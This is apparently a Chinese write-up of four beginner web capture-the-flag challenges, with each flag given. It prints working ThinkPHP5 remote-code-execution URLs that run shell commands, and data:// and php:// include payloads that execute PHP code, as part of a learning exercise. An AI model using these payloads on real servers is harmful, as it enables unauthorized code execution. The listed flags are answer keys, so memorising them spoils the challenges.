目录
1.baby_web
题目描述中提到初始页面,一般都是 index.php
进入题目环境,可以看到是1.php
将1.php改成inex.php,然后发现页面直接跳转到1.php了
那就F12查看网页响应情况,再次访问index.php,然后发现确实访问index.php了,在返回的响应头中发现flag。
flag{very_baby_web}
2.Training-WWW-Robots
打开题目环境,一堆英文,看不懂
翻译一下
和之前新手练习区第二题一样,考察robots协议,直接访问 ip/robots.txt
可以看到flag的目录,访问此文件,获得flag
cyberpeace{e442a3f80b2efbcc5f1a47de16fc9f54}
3.php_rce
打开题目环境,给出了TinkPHP页面,可以看出ThinkPHP的版本
题目名为PHP_RCE,说明是让我们利用相关漏洞进行解题,我们去搜索一下这个版本的ThinkPHP存在什么漏洞
很容易找到这个版本存在远程代码执行漏洞,这个漏洞我在Vulocus漏洞上复现过,复现过程挺简单的,当然不牵扯到原理方面 [Vulfocus解题系列]ThinkPHP5 远程代码执行漏洞(CNVD-2018-24942)
简单来说就是利用构造好的url进行命令执行
/index.php/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls
执行的命令放在最后,这是执行ls命令的
然后我们直接找flag文件
/index.php/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=find / -name “flag*”
然后用cat命令查看flag
/index.php/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat /flag
flag{thinkphp5_rce}
4.Web_php_include
根据题目判断,是一道文件包含的题
这个题我看了一个大佬的wp,写的特别好
攻防世界 web进阶区 web_php_include
打开题目环境,是一段PHP代码
首先要看懂这段代码的意思
第一个函数是让代码高亮的意识,关系不大
strstr() 查找字符串首次出现的位置。返回字符串剩余部分
php:// 属于PHP伪协议
1、php://filter
有一些敏感信息会保存在php文件中,如果我们直接利用文件包含去打开一个php文件,php代码是不会显示在页面上的,例如打开data目录下的config.php:
2、data://
利用data:// 伪协议可以直接达到执行php代码的效果,例如执行phpinfo()
3、zip:// 执行压缩文件
如果网站允许我们上传压缩文件,我们也可以将php文件压缩后进行上传,再通过zip://协议执行。
4、php://input
利用该方法,我们可以直接写入php文件,输入file=php://input,然后使用burp抓包,写入php代码
然后是str_replace()函数,作用是替换字符。会对page和php://进行比较,然后进行替换
解题思路一:利用strstr不区分大小写的特性来绕过它
因为strsr()函数是不区分大小写的,所以我们可以用大小写绕过的方式进行绕过,然后利用php伪协议来执行我们的代码。
猜测flag在 fl4gisisish3r3.php 中,用cat命令查看一下
flag在源码中
解题思路二:利用data://协议绕过
既然php://的伪协议不行,我们可以换一种协议,利用data://协议进行绕过
data协议的一般格式为:
?page=data://text/plain,xxxxxxx (xxxxxx为要执行的命令)
?page=data://text/plain,<?php system('ls'); ?>
使用cat命令即可获得flag